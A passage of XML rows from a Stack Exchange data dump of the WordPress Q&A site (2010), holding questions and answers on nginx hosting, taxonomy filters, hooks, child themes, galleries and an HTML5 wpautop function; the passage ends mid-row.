  <row Id="300" PostTypeId="2" ParentId="248" CreationDate="2010-08-13T14:14:37.623" Score="0" ViewCount="" Body="&lt;p&gt;i use also the library sseqlib for more security and different hacks in the .htacces; see the links&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.erich-kachel.de/?page_id=133&quot; rel=&quot;nofollow&quot;&gt;sseq-lib&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/wp-basis-theme/source/browse/trunk/basis/wp-root-tipps/.htaccess&quot; rel=&quot;nofollow&quot;&gt;.htaccess example&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T14:14:37.623" />
  <row Id="301" PostTypeId="1" AcceptedAnswerId="313" CreationDate="2010-08-13T14:18:53.370" Score="0" ViewCount="261" Body="&lt;p&gt;Wordpress is quite a memory hog, and I've been thinking of using nginx rather than apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one major consideration before doing that is if there are any plugins which will stop working. I have tested a few and they seem to work, but I need to find out if there are any which might break.&lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="171" LastEditorDisplayName="" LastEditDate="2010-08-13T23:26:16.080" LastActivityDate="2011-02-24T21:42:47.187" Title="What issues would you face if you use Nginx" Tags="&lt;hosting&gt;&lt;nginx&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="3" />
  <row Id="302" PostTypeId="2" ParentId="2" CreationDate="2010-08-13T14:30:51.860" Score="1" ViewCount="" Body="&lt;p&gt;you can filter about taxonomie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // to filter by category&#xA;    function restrict_manage_posts() {&#xA;        global $typenow;&#xA;&#xA;        if ( FB_CPT_POST_TYPE_1 == $typenow ) {&#xA;            $args = array('orderby' =&amp;gt; 'count', 'hide_empty' =&amp;gt; true);&#xA;            echo $this-&amp;gt;get_taxonomy_html_select(FB_CPT_TAXONOMY_TYPE_1, $args);&#xA;        }&#xA;    }&#xA;&#xA;    function get_taxonomy_html_select($taxonomy_name, $args) {&#xA;&#xA;        $taxonomy = get_taxonomy($taxonomy_name);&#xA;        $terms = get_terms($taxonomy_name, $args);&#xA;        $label = __( 'Show all ' . $taxonomy-&amp;gt;label, FB_CPT_TEXTDOMAIN );&#xA;        $html = array();&#xA;        $html[] = '&amp;lt;select style=&quot;min-width:155px;&quot; id=&quot;' . $taxonomy_name . '&quot; name=&quot;' . $taxonomy_name . '&quot; class=&quot;postform&quot;&amp;gt;';&#xA;        $html[] = '&amp;lt;option value=&quot;0&quot;&amp;gt;' . $label . '&amp;lt;/option&amp;gt;';&#xA;        if ( isset($_GET[$taxonomy_name]) )&#xA;            $this_term = $_GET[$taxonomy_name];&#xA;        else&#xA;            $this_term = '';&#xA;        foreach($terms as $term) {&#xA;            $default = ( $this_term == $term-&amp;gt;term_id ? ' selected=&quot;selected&quot;' : '' );&#xA;            $value = esc_attr($term-&amp;gt;name);&#xA;            $value = $value . '&amp;amp;nbsp;&amp;amp;nbsp;(' . (int)$term-&amp;gt;count . ')';&#xA;            $html[] = &quot;\t&quot; . '&amp;lt;option value=&quot;' . $term-&amp;gt;term_id . '&quot;' . $default . '&amp;gt;' . $value . '&amp;lt;/option&amp;gt;';&#xA;        }&#xA;        $html[] = '&amp;lt;/select&amp;gt;' . &quot;\n&quot;;&#xA;        return implode( &quot;\n&quot;, $html );&#xA;    }&#xA;&#xA;    function request($request) {&#xA;        global $pagenow;&#xA;&#xA;        if ( is_admin() &amp;amp;&amp;amp; 'edit.php' == $pagenow &amp;amp;&amp;amp; isset( $request[FB_CPT_TAXONOMY_TYPE_1] ) &amp;amp;&amp;amp; FB_CPT_POST_TYPE_1 == $request[FB_CPT_TAXONOMY_TYPE_1] ) {&#xA;            $request['taxonomy'] = FB_CPT_TAXONOMY_TYPE_1;&#xA;            $request['term'] = get_term($request[FB_CPT_TAXONOMY_TYPE_1], FB_CPT_TAXONOMY_TYPE_1)-&amp;gt;name;&#xA;            unset($request['name']);&#xA;        }&#xA;&#xA;        return $request;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use this hooks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            // to filter custom post type per custom taxonomy&#xA;        add_action( 'restrict_manage_posts', array( &amp;amp;$this, 'restrict_manage_posts') );&#xA;        add_action( 'request', array( &amp;amp;$this, 'request' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T14:30:51.860" CommentCount="4" />
  <row Id="303" PostTypeId="2" ParentId="299" CreationDate="2010-08-13T14:43:44.403" Score="0" ViewCount="" Body="&lt;p&gt;Build the gallery with WordPress default functions. Use the standard-functions to read the attachments of a post and build the gallery. Also i had write a plugin to link a atachment of the mediathek with a post - &lt;a href=&quot;http://wordpress.org/extend/plugins/post2media/&quot; rel=&quot;nofollow&quot;&gt;post2media&lt;/a&gt;. More about the default functions for attachments, like imgeas can you read in &lt;a href=&quot;http://wpengineer.com/easier-better-solutions-to-get-pictures-on-your-posts/&quot; rel=&quot;nofollow&quot;&gt;my post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T14:43:44.403" CommunityOwnedDate="2010-08-13T14:43:44.403" CommentCount="2" />
  <row Id="304" PostTypeId="2" ParentId="70" CreationDate="2010-08-13T14:46:29.170" Score="1" ViewCount="" Body="&lt;p&gt;See the different- for only a form in one page it is easy and fast (no filter-hook or other) to write a template for a page in WP, for more flexibilty and functions us a plugin.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T14:46:29.170" />
  <row Id="305" PostTypeId="2" ParentId="65" CreationDate="2010-08-13T14:48:59.257" Score="1" ViewCount="" Body="&lt;p&gt;see &lt;a href=&quot;http://anthologize.org/&quot; rel=&quot;nofollow&quot;&gt;anthologize.org&lt;/a&gt;, great plugin for build a book or use WP Tex and export to LATeX&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T14:48:59.257" CommentCount="2" />
  <row Id="306" PostTypeId="2" ParentId="56" CreationDate="2010-08-13T14:58:14.367" Score="3" ViewCount="" Body="&lt;h3&gt;Option 1 - Process some data on your system&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I wouldn't place all of the plug-in's processing on your own server, but pick one or two vital functions and keep them hosted on your system.  Then require an API key for each site that uses the plug-in so that they can communicate with your server.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Option 2 - Encrypt stored data and require a hosted decryption key&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another alternative is a basic encryption setup - this is actually a system I've been toying with for a while, I just haven't bothered to deploy it anywhere yet.  The code itself (to stay true to the GPL) is all plaintext just like you'd expect.  However, all stored data (default values, plug-in settings, etc) is encrypted before being saved to the database.  The trick here is that the plug-in on the remote system doesn't have the decryption key - in order to decrypt the data, it has to post its API key to your system which then responds with the decryption key.  This can then be stored in a transient (temporary option) for a certain period of time before being flushed - that way you don't have a site hitting your server every 2 seconds during heavy traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downsides of this approach might outweigh the benefits, though (which is why I haven't deployed it anywhere yet).  First of all, a savvy programmer can capture the decryption key and then they don't need your server any more.  Or they could just flush out all the encryption/decryption hooks and run in plaintext.  This is the advantage of open source for the user and the disadvantage to the developer who wants to distribute a free-but-restricted system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other downside is the dependency on your server.  Storing a key in a transient lifts some of the burden off your server ... but if your site goes down for an hour or two, then &lt;em&gt;every site using your plug-in&lt;/em&gt; goes down for an hour or two unless you plan for some kind of graceful deactivation.  Also, it would mean you'd have to keep said server up-and-running indefinitely if people continue using your system.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Option 3 - Limit the features of the &quot;free&quot; version&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A last option, and one I'm actively working on using, is to split your plug-in's featureset and functionality.  The core of the system (UI, basic features, etc) is freely available without registration.  For more advanced features, users have to register their copy, gain an activation key, then enter that key into the UI to complete the process - the plug-in then verifies with your server and downloads additional premium &quot;add-ons&quot; to the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disadvantage here is that once downloaded, all the code now rests on the user's site and, under the GPL, they can still redistribute the full package.  The advantage is that it only depends on your system once and doesn't require any kind of long-term download/processing support.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Any way you decide to move forward, you're either going to be hit with maintaining some sort of external API on your server or providing the full source of the system to your users.  If you keep some functionality on your system, you almost have to guarantee 100% uptime for it to be worth it.  If you're going to provide the full source, there's no way (under the GPL) to prevent someone else from re-distributing your system.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-13T14:58:14.367" />
  <row Id="307" PostTypeId="1" AcceptedAnswerId="339" CreationDate="2010-08-13T15:15:29.517" Score="15" ViewCount="695" Body="&lt;p&gt;Where can I find a list of all the WordPress hooks and over-ridable functions (pluggable, scriptable, etc)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Plugin is here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/307/where-can-i-find-a-list-of-wordpress-hooks/339#339&quot;&gt;http://wordpress.stackexchange.com/questions/307/where-can-i-find-a-list-of-wordpress-hooks/339#339&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2010-08-23T13:04:40.207" LastActivityDate="2010-08-23T13:04:40.207" Title="Where Can I Find a List of WordPress Hooks?" Tags="&lt;hooks&gt;&lt;overridable-functions&gt;" AnswerCount="4" FavoriteCount="19" />
  <row Id="308" PostTypeId="1" AcceptedAnswerId="337" CreationDate="2010-08-13T15:18:44.153" Score="0" ViewCount="150" Body="&lt;p&gt;I have a WP backup file of sample content I use when I set up a new site on my WP multisite install (I use it for theme dev work for clients).  Is there a way to trigger the import function to fire when I create a new site?  I've looked at the WPMU blog defaults plugin, but there are features it doesn't have that I would like (such as post tags and child/parent categories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little more detail...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings &gt; Import (actually Tools &gt; Import, since it moved from the Settings menu a release or two ago) is what I'm looking to automate.  As I mentioned, I have a WXR file of content I normally import manually whenever I create a new site.  I would like to remove that manual step from my workflow.  The backup file itself is stored on my dev server, so WP would have direct access to it.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditorDisplayName="" LastEditDate="2010-08-13T17:49:18.880" LastActivityDate="2010-08-13T23:25:02.603" Title="Is there a way to trigger an automatic import of a WP backup on creation of a new WP multisite site?" Tags="&lt;content&gt;&lt;multisite&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="309" PostTypeId="2" ParentId="307" CreationDate="2010-08-13T15:25:35.657" Score="9" ViewCount="" Body="&lt;p&gt;This is my go-to site when I'm looking for hook info... &lt;a href=&quot;http://adambrown.info/p/wp_hooks&quot; rel=&quot;nofollow&quot;&gt;WordPress Hooks Database&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-13T15:25:35.657" CommentCount="1" />
  <row Id="310" PostTypeId="2" ParentId="307" CreationDate="2010-08-13T15:29:18.373" Score="1" ViewCount="" Body="&lt;p&gt;The Codex has an &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Action Reference&lt;/a&gt; and a &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference&quot; rel=&quot;nofollow&quot;&gt;Filter Reference&lt;/a&gt;. Adam Brown created a &lt;a href=&quot;http://adambrown.info/p/wp_hooks&quot; rel=&quot;nofollow&quot;&gt;hook database&lt;/a&gt; that has all hooks in the source code, and adds the documentation from the wiki pages, version information and links to the source code. You can improve it by writing documentation in the Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, some hooks are dynamic, depending on other data. Take the &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post.php#L2714&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_transition_post_status&lt;/code&gt;&lt;/a&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_transition_post_status($new_status, $old_status, $post) {&#xA;    do_action('transition_post_status', $new_status, $old_status, $post);&#xA;    do_action(&quot;${old_status}_to_$new_status&quot;, $post);&#xA;    do_action(&quot;${new_status}_$post-&amp;gt;post_type&quot;, $post-&amp;gt;ID, $post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you register a custom post type &lt;code&gt;event&lt;/code&gt; and a custom post status &lt;code&gt;cancelled&lt;/code&gt;, you will have a &lt;code&gt;cancelled_event&lt;/code&gt; action hook.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-08-13T18:56:00.713" LastActivityDate="2010-08-13T18:56:00.713" CommentCount="2" />
  <row Id="311" PostTypeId="2" ParentId="43" CreationDate="2010-08-13T16:03:47.837" Score="1" ViewCount="" Body="&lt;p&gt;I run both Clean Options and WP_Optimize on my site, and the combo does a terrific job of keeping the database in great shape.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-13T16:03:47.837" />
  <row Id="312" PostTypeId="2" ParentId="299" CreationDate="2010-08-13T16:15:38.047" Score="1" ViewCount="" Body="&lt;p&gt;I normally try to use the built-in media functions when working on client sites unless there's functionality needed that just can't be done with the native functions.  This is an example I just finished of a gallery built using the native functions: &lt;a href=&quot;http://barnabyssteakhouse.com/about/gallery/&quot; rel=&quot;nofollow&quot;&gt;Barnaby's Steakhouse&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-13T16:15:38.047" CommunityOwnedDate="2010-08-13T16:15:38.047" />
  <row Id="313" PostTypeId="2" ParentId="301" CreationDate="2010-08-13T16:48:46.873" Score="2" ViewCount="" Body="&lt;p&gt;I unfortnately have no experience with this but evidently it can be done as these articles and plugins address some of the issues: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://elasticdog.com/2008/02/howto-install-wordpress-on-nginx/&quot; rel=&quot;nofollow&quot;&gt;HOWTO: Install WordPress On Nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;WordPress + &lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-compatibility/&quot; rel=&quot;nofollow&quot;&gt;nginx Compatibility&lt;/a&gt; Plugin&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://joneslee85.wordpress.com/2010/03/13/howto-nginx-wordpress-ubuntu-shortest-setup/&quot; rel=&quot;nofollow&quot;&gt;Howto nginx + wordpress + ubuntu shortest setup&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hakre.wordpress.com/2010/04/09/nginx-front-end-proxy-cache-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Nginx front-end proxy cache for WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://josephscott.org/archives/2010/06/wordpress-pretty-permalinks-with-nginx/&quot; rel=&quot;nofollow&quot;&gt;WordPress Pretty Permalinks with Nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ocaoimh.ie/wordpress-nginx-wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;WordPress, Nginx and WP Super Cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also are you familiar with &lt;a href=&quot;http://wpengine.com&quot; rel=&quot;nofollow&quot;&gt;WP Engine WordPress hosting&lt;/a&gt;? They are evidently using it in a hybrid form with Apache, probably as a front-end proxy.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://technosailor.aaronbrazell.com/2010/07/29/back-in-startup-mode-announcing-wp-engine/&quot; rel=&quot;nofollow&quot;&gt;Back in Startup Mode… Announcing WP Engine!&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope these help.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-13T16:48:46.873" CommentCount="1" />
  <row Id="314" PostTypeId="2" ParentId="299" CreationDate="2010-08-13T17:40:14.390" Score="1" ViewCount="" Body="&lt;p&gt;I keep my photos on Flickr, and display them on my site with help from the &lt;a href=&quot;http://tantannoodles.com/toolkit/photo-album/&quot; rel=&quot;nofollow&quot;&gt;Flickr Photo Album&lt;/a&gt; plugin. This results in my &lt;a href=&quot;http://grantpalin.com/gallery/&quot; rel=&quot;nofollow&quot;&gt;Gallery page&lt;/a&gt;, as well as some thumbnails in my site footer. The plugin can also be used to display photos in individual posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I considered doing galleries directly on my site, similar to ma.tt, but I didn't want to be keeping the same images in two places.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-08-13T17:40:14.390" CommunityOwnedDate="2010-08-13T17:40:14.390" />
  <row Id="315" PostTypeId="2" ParentId="2" CreationDate="2010-08-13T17:44:57.050" Score="0" ViewCount="" Body="&lt;p&gt;If all you want to do is set a position for each &quot;Shirt&quot;, then why not just user the Menu Order, then you can sort by menu_order in your WP_Query. You will probably have to make a meta box which sets the post's &lt;code&gt;menu_order&lt;/code&gt; property. Then in your &lt;code&gt;WP_Query&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$shirts = new WP_Query( 'post_type=shirt&amp;amp;orderby=menu_order&amp;amp;order=ASC' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would work similar to how you order images in the &lt;code&gt;Media Upload&lt;/code&gt; Gallery tab, for set Page's Menu Order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I misunderstanding something?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-13T17:44:57.050" CommentCount="2" />
  <row Id="316" PostTypeId="2" ParentId="128" CreationDate="2010-08-13T18:12:28.740" Score="0" ViewCount="" Body="&lt;p&gt;The best way for me is to set up a small site, fast and specialy for the requirements of the customer. Also i reduce the backand only for the view, how use the customer, less ist more. Also i write small plugins and use not great &quot;click and do&quot; plugins, maybe for custom post type, write this in a solution for the customer. For reduce the backend i use own source or the plugin Adminimize. I check hte install also for functions, she comes from the core and maybe she is not important or necessary. I deactivate this functions, as example the feed.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T18:12:28.740" />
  <row Id="317" PostTypeId="1" AcceptedAnswerId="422" CreationDate="2010-08-13T18:20:24.827" Score="4" ViewCount="240" Body="&lt;p&gt;What is the best way to have multiple blogs on one site? I am not talking about Multisite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is one website with 5 blogs. All accessible from one menu and editable from one backend, I could use categories, though I am looking for something else. Multisite would take a lot of tweaking.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-10-30T17:27:09.533" LastActivityDate="2010-10-30T17:27:09.533" Title="5 blogs on one WordPress site" Tags="&lt;custom-post-types&gt;&lt;multisite&gt;" AnswerCount="3" CommentCount="7" />
  <row Id="318" PostTypeId="2" ParentId="1" CreationDate="2010-08-13T18:21:48.677" Score="2" ViewCount="" Body="&lt;p&gt;I have an starter theme for html5 and WordPress and also a function not for wptexturize, but for wpautop(). Include also other elements of html, like thead, tfoot, aside and use the syntax of html5 like &lt;br&gt; and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * wpautop for HTML5, allowed: table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|form|map|area|blockquote|address|math|style|input|p|h[1-6]|hr|fieldset|legend|section|article|aside|header|footer|hgroup|figure|details|figcaption|summary)&#xA; * @link http://nicolasgallagher.com/using-html5-elements-in-wordpress-post-content/&#xA; * @author nicolas@nicolasgallagher.com&#xA; */&#xA;function html5wpautop($pee, $br = 1) {&#xA;    if ( trim($pee) === '' )&#xA;            return '';&#xA;&#xA;    $pee = $pee . &quot;\n&quot;; // just to make things a little easier, pad the end&#xA;    $pee = preg_replace('|&amp;lt;br /&amp;gt;\s*&amp;lt;br /&amp;gt;|', &quot;\n\n&quot;, $pee);&#xA;    // Space things out a little&#xA;    // *insertion* of section|article|aside|header|footer|hgroup|figure|details|figcaption|summary&#xA;    $allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|form|map|area|blockquote|address|math|style|input|p|h[1-6]|hr|fieldset|legend|section|article|aside|header|footer|hgroup|figure|details|figcaption|summary)';&#xA;    $pee = preg_replace('!(&amp;lt;' . $allblocks . '[^&amp;gt;]*&amp;gt;)!', &quot;\n$1&quot;, $pee);&#xA;    $pee = preg_replace('!(&amp;lt;/' . $allblocks . '&amp;gt;)!', &quot;$1\n\n&quot;, $pee);&#xA;    $pee = str_replace(array(&quot;\r\n&quot;, &quot;\r&quot;), &quot;\n&quot;, $pee); // cross-platform newlines&#xA;    if ( strpos($pee, '&amp;lt;object') !== false ) {&#xA;            $pee = preg_replace('|\s*&amp;lt;param([^&amp;gt;]*)&amp;gt;\s*|', &quot;&amp;lt;param$1&amp;gt;&quot;, $pee); // no pee inside object/embed&#xA;            $pee = preg_replace('|\s*&amp;lt;/embed&amp;gt;\s*|', '&amp;lt;/embed&amp;gt;', $pee);&#xA;    }&#xA;    $pee = preg_replace(&quot;/\n\n+/&quot;, &quot;\n\n&quot;, $pee); // take care of duplicates&#xA;    // make paragraphs, including one at the end&#xA;    $pees = preg_split('/\n\s*\n/', $pee, -1, PREG_SPLIT_NO_EMPTY);&#xA;    $pee = '';&#xA;    foreach ( $pees as $tinkle )&#xA;            $pee .= '&amp;lt;p&amp;gt;' . trim($tinkle, &quot;\n&quot;) . &quot;&amp;lt;/p&amp;gt;\n&quot;;&#xA;    $pee = preg_replace('|&amp;lt;p&amp;gt;\s*&amp;lt;/p&amp;gt;|', '', $pee); // under certain strange conditions it could create a P of entirely whitespace&#xA;    // *insertion* of section|article|aside&#xA;    $pee = preg_replace('!&amp;lt;p&amp;gt;([^&amp;lt;]+)&amp;lt;/(div|address|form|section|article|aside)&amp;gt;!', &quot;&amp;lt;p&amp;gt;$1&amp;lt;/p&amp;gt;&amp;lt;/$2&amp;gt;&quot;, $pee);&#xA;    $pee = preg_replace('!&amp;lt;p&amp;gt;\s*(&amp;lt;/?' . $allblocks . '[^&amp;gt;]*&amp;gt;)\s*&amp;lt;/p&amp;gt;!', &quot;$1&quot;, $pee); // don't pee all over a tag&#xA;    $pee = preg_replace(&quot;|&amp;lt;p&amp;gt;(&amp;lt;li.+?)&amp;lt;/p&amp;gt;|&quot;, &quot;$1&quot;, $pee); // problem with nested lists&#xA;    $pee = preg_replace('|&amp;lt;p&amp;gt;&amp;lt;blockquote([^&amp;gt;]*)&amp;gt;|i', &quot;&amp;lt;blockquote$1&amp;gt;&amp;lt;p&amp;gt;&quot;, $pee);&#xA;    $pee = str_replace('&amp;lt;/blockquote&amp;gt;&amp;lt;/p&amp;gt;', '&amp;lt;/p&amp;gt;&amp;lt;/blockquote&amp;gt;', $pee);&#xA;    $pee = preg_replace('!&amp;lt;p&amp;gt;\s*(&amp;lt;/?' . $allblocks . '[^&amp;gt;]*&amp;gt;)!', &quot;$1&quot;, $pee);&#xA;    $pee = preg_replace('!(&amp;lt;/?' . $allblocks . '[^&amp;gt;]*&amp;gt;)\s*&amp;lt;/p&amp;gt;!', &quot;$1&quot;, $pee);&#xA;    if ($br) {&#xA;            $pee = preg_replace_callback('/&amp;lt;(script|style).*?&amp;lt;\/\\1&amp;gt;/s', create_function('$matches', 'return str_replace(&quot;\n&quot;, &quot;&amp;lt;WPPreserveNewline /&amp;gt;&quot;, $matches[0]);'), $pee);&#xA;            $pee = preg_replace('|(?&amp;lt;!&amp;lt;br /&amp;gt;)\s*\n|', &quot;&amp;lt;br /&amp;gt;\n&quot;, $pee); // optionally make line breaks&#xA;            $pee = str_replace('&amp;lt;WPPreserveNewline /&amp;gt;', &quot;\n&quot;, $pee);&#xA;    }&#xA;    $pee = preg_replace('!(&amp;lt;/?' . $allblocks . '[^&amp;gt;]*&amp;gt;)\s*&amp;lt;br /&amp;gt;!', &quot;$1&quot;, $pee);&#xA;    // *insertion* of img|figcaption|summary&#xA;    $pee = preg_replace('!&amp;lt;br /&amp;gt;(\s*&amp;lt;/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol|img|figcaption|summary)[^&amp;gt;]*&amp;gt;)!', '$1', $pee);&#xA;    if (strpos($pee, '&amp;lt;pre') !== false)&#xA;            $pee = preg_replace_callback('!(&amp;lt;pre[^&amp;gt;]*&amp;gt;)(.*?)&amp;lt;/pre&amp;gt;!is', 'clean_pre', $pee );&#xA;    $pee = preg_replace( &quot;|\n&amp;lt;/p&amp;gt;$|&quot;, '&amp;lt;/p&amp;gt;', $pee );&#xA;&#xA;    return $pee;&#xA;}&#xA;&#xA;// remove the original wpautop function&#xA;remove_filter('the_excerpt', 'wpautop');&#xA;remove_filter('the_content', 'wpautop');&#xA;&#xA;// add our new html5autop function&#xA;add_filter('the_excerpt', 'html5wpautop');&#xA;add_filter('the_content', 'html5wpautop');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see more on the &lt;a href=&quot;http://code.google.com/p/wp-basis-theme/source/browse/trunk/basis-html5/&quot; rel=&quot;nofollow&quot;&gt;svn&lt;/a&gt; of the html5 starter theme, not a framework!&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2010-08-14T06:56:41.810" LastActivityDate="2010-08-14T06:56:41.810" />
  <row Id="319" PostTypeId="1" AcceptedAnswerId="320" CreationDate="2010-08-13T18:38:36.287" Score="2" ViewCount="82" Body="&lt;p&gt;How do I add stuff to themes such as Arjuna-X without losing it when the theme is updated? Are child themes a good way to do it or are there other options? What if a new version of the theme comes out with native support for a feature I added?&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2010-08-13T21:10:32.123" Title="Adding goodies to themes" Tags="&lt;themes&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" />
  <row Id="320" PostTypeId="2" ParentId="319" CreationDate="2010-08-13T18:41:12.270" Score="8" ViewCount="" Body="&lt;p&gt;There are three ways to do this&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Functions.php&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Put your additions in functions.php and back up that file before you update your theme.  Then you can port over any additions as necessary.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Child theme&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Build a child theme that adds the functionality - in reality, this would be an even better way to use a custom functions.php file because it wouldn't be overwritten by updates.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Custom plug-in&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Completely isolate the new functionality from the theme and add it in using WordPress' hooks and filters.  This way, you lose nothing in upgrades and can selectively turn off features if/when native support is added by the themes.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-13T18:41:12.270" />
  <row Id="321" PostTypeId="2" ParentId="317" CreationDate="2010-08-13T18:42:51.207" Score="7" ViewCount="" Body="&lt;p&gt;install WP3.0, use the mulisite feature and create a template in the first blog. This template has different loops and switch in each blog and use the content in the loop; use function switch_to_blog() for switch and then use default wp_query()&#xA;Also you can use import via RSS, maybe with plugins, maybe RSSimport, or own source&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-13T18:42:51.207" CommentCount="2" />
  <row Id="322" PostTypeId="1" CreationDate="2010-08-13T18:59:37.430" Score="7" ViewCount="1209" Body="&lt;p&gt;I am doing an upgrade and cleanup of an old blog that started on Blogger.com, then moved to self-hosted WordPress 2.1, 2.3 and now 3.0. Images in the posts are scattered around: most of them are in &lt;code&gt;/wp-content/&lt;/code&gt;, but not all in &lt;code&gt;/wp-content/uploads/&lt;/code&gt; or &lt;code&gt;/wp-content/uploads/year/month/&lt;/code&gt;. Others still reference the blogger.com image servers. I want to consolidate them all in &lt;code&gt;/wp-content/uploads/year/month/&lt;/code&gt;, which I think is the &quot;correct&quot; place? This should make later upgrades easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this? I would like to update the metadata too, so that the Media Library can manage all of them. I could not find any documentation on this, so sorry if I missed it, please point me to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I would provide redirects from the old locations to the new. What is the best way to do this? A template &lt;code&gt;404.php&lt;/code&gt;, of a plugin? I would like to add some logging, so we can find the referring pages and maybe correct them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This question was &lt;a href=&quot;http://wordpress.org/support/topic/cleanup-uploads-folder-media-library-db-structure&quot; rel=&quot;nofollow&quot;&gt;originally asked on the WordPress support forums&lt;/a&gt;, but got no useful answer there).&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="178" LastEditorDisplayName="" 